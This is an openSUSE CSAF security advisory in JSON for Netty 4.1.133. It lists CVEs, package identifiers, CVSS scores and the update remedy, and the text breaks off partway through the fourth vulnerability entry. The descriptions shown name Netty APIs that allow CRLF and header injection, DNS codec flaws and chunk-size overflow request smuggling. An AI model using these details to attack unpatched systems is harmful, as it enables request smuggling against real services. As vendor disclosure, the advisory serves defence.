| https://www.suse.com/security/cve/CVE-2026-41417/ | self |
| https://www.suse.com/security/cve/CVE-2026-42578/ | self |
| https://www.suse.com/security/cve/CVE-2026-42579/ | self |
| https://www.suse.com/security/cve/CVE-2026-42580/ | self |
| https://www.suse.com/security/cve/CVE-2026-42581/ | self |
| https://www.suse.com/security/cve/CVE-2026-42582/ | self |
| https://www.suse.com/security/cve/CVE-2026-42583/ | self |
| https://www.suse.com/security/cve/CVE-2026-42584/ | self |
| https://www.suse.com/security/cve/CVE-2026-42585/ | self |
| https://www.suse.com/security/cve/CVE-2026-42586/ | self |
| https://www.suse.com/security/cve/CVE-2026-42587/ | self |
| https://www.suse.com/security/cve/CVE-2026-44248/ | self |
| https://www.suse.com/security/cve/CVE-2026-41417 | external |
| https://bugzilla.suse.com/1264350 | external |
| https://www.suse.com/security/cve/CVE-2026-42578 | external |
| https://bugzilla.suse.com/1265243 | external |
| https://www.suse.com/security/cve/CVE-2026-42579 | external |
| https://bugzilla.suse.com/1265272 | external |
| https://www.suse.com/security/cve/CVE-2026-42580 | external |
| https://bugzilla.suse.com/1265273 | external |
| https://www.suse.com/security/cve/CVE-2026-42581 | external |
| https://bugzilla.suse.com/1265277 | external |
| https://www.suse.com/security/cve/CVE-2026-42582 | external |
| https://bugzilla.suse.com/1265318 | external |
| https://www.suse.com/security/cve/CVE-2026-42583 | external |
| https://bugzilla.suse.com/1265279 | external |
| https://www.suse.com/security/cve/CVE-2026-42584 | external |
| https://bugzilla.suse.com/1265280 | external |
| https://www.suse.com/security/cve/CVE-2026-42585 | external |
| https://bugzilla.suse.com/1265291 | external |
| https://www.suse.com/security/cve/CVE-2026-42586 | external |
| https://bugzilla.suse.com/1265245 | external |
| https://www.suse.com/security/cve/CVE-2026-42587 | external |
| https://bugzilla.suse.com/1265246 | external |
| https://www.suse.com/security/cve/CVE-2026-44248 | external |
| https://bugzilla.suse.com/1265293 | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "netty-4.1.133-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10795",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10795-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-41417 page",
"url": "https://www.suse.com/security/cve/CVE-2026-41417/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42578 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42578/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42579 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42579/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42580 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42580/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42581 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42581/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42582 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42582/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42583 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42583/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42584 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42584/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42585 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42585/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42586 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42586/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42587 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42587/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44248 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44248/"
}
],
"title": "netty-4.1.133-1.1 on GA media",
"tracking": {
"current_release_date": "2026-05-16T00:00:00Z",
"generator": {
"date": "2026-05-16T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10795-1",
"initial_release_date": "2026-05-16T00:00:00Z",
"revision_history": [
{
"date": "2026-05-16T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.aarch64",
"product": {
"name": "netty-4.1.133-1.1.aarch64",
"product_id": "netty-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.aarch64",
"product": {
"name": "netty-bom-4.1.133-1.1.aarch64",
"product_id": "netty-bom-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.aarch64",
"product": {
"name": "netty-javadoc-4.1.133-1.1.aarch64",
"product_id": "netty-javadoc-4.1.133-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.aarch64",
"product": {
"name": "netty-parent-4.1.133-1.1.aarch64",
"product_id": "netty-parent-4.1.133-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-4.1.133-1.1.ppc64le",
"product_id": "netty-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-bom-4.1.133-1.1.ppc64le",
"product_id": "netty-bom-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-javadoc-4.1.133-1.1.ppc64le",
"product_id": "netty-javadoc-4.1.133-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.ppc64le",
"product": {
"name": "netty-parent-4.1.133-1.1.ppc64le",
"product_id": "netty-parent-4.1.133-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.s390x",
"product": {
"name": "netty-4.1.133-1.1.s390x",
"product_id": "netty-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.s390x",
"product": {
"name": "netty-bom-4.1.133-1.1.s390x",
"product_id": "netty-bom-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.s390x",
"product": {
"name": "netty-javadoc-4.1.133-1.1.s390x",
"product_id": "netty-javadoc-4.1.133-1.1.s390x"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.s390x",
"product": {
"name": "netty-parent-4.1.133-1.1.s390x",
"product_id": "netty-parent-4.1.133-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "netty-4.1.133-1.1.x86_64",
"product": {
"name": "netty-4.1.133-1.1.x86_64",
"product_id": "netty-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-bom-4.1.133-1.1.x86_64",
"product": {
"name": "netty-bom-4.1.133-1.1.x86_64",
"product_id": "netty-bom-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-javadoc-4.1.133-1.1.x86_64",
"product": {
"name": "netty-javadoc-4.1.133-1.1.x86_64",
"product_id": "netty-javadoc-4.1.133-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "netty-parent-4.1.133-1.1.x86_64",
"product": {
"name": "netty-parent-4.1.133-1.1.x86_64",
"product_id": "netty-parent-4.1.133-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64"
},
"product_reference": "netty-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.s390x"
},
"product_reference": "netty-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64"
},
"product_reference": "netty-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64"
},
"product_reference": "netty-bom-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-bom-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x"
},
"product_reference": "netty-bom-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-bom-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64"
},
"product_reference": "netty-bom-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64"
},
"product_reference": "netty-javadoc-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-javadoc-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x"
},
"product_reference": "netty-javadoc-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-javadoc-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64"
},
"product_reference": "netty-javadoc-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64"
},
"product_reference": "netty-parent-4.1.133-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le"
},
"product_reference": "netty-parent-4.1.133-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x"
},
"product_reference": "netty-parent-4.1.133-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "netty-parent-4.1.133-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
},
"product_reference": "netty-parent-4.1.133-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-41417",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-41417"
}
],
"notes": [
{
"category": "general",
"text": "Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-41417",
"url": "https://www.suse.com/security/cve/CVE-2026-41417"
},
{
"category": "external",
"summary": "SUSE Bug 1264350 for CVE-2026-41417",
"url": "https://bugzilla.suse.com/1264350"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-41417"
},
{
"cve": "CVE-2026-42578",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42578"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42578",
"url": "https://www.suse.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "SUSE Bug 1265243 for CVE-2026-42578",
"url": "https://bugzilla.suse.com/1265243"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42578"
},
{
"cve": "CVE-2026-42579",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42579"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42579",
"url": "https://www.suse.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "SUSE Bug 1265272 for CVE-2026-42579",
"url": "https://bugzilla.suse.com/1265272"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42579"
},
{
"cve": "CVE-2026-42580",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42580"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
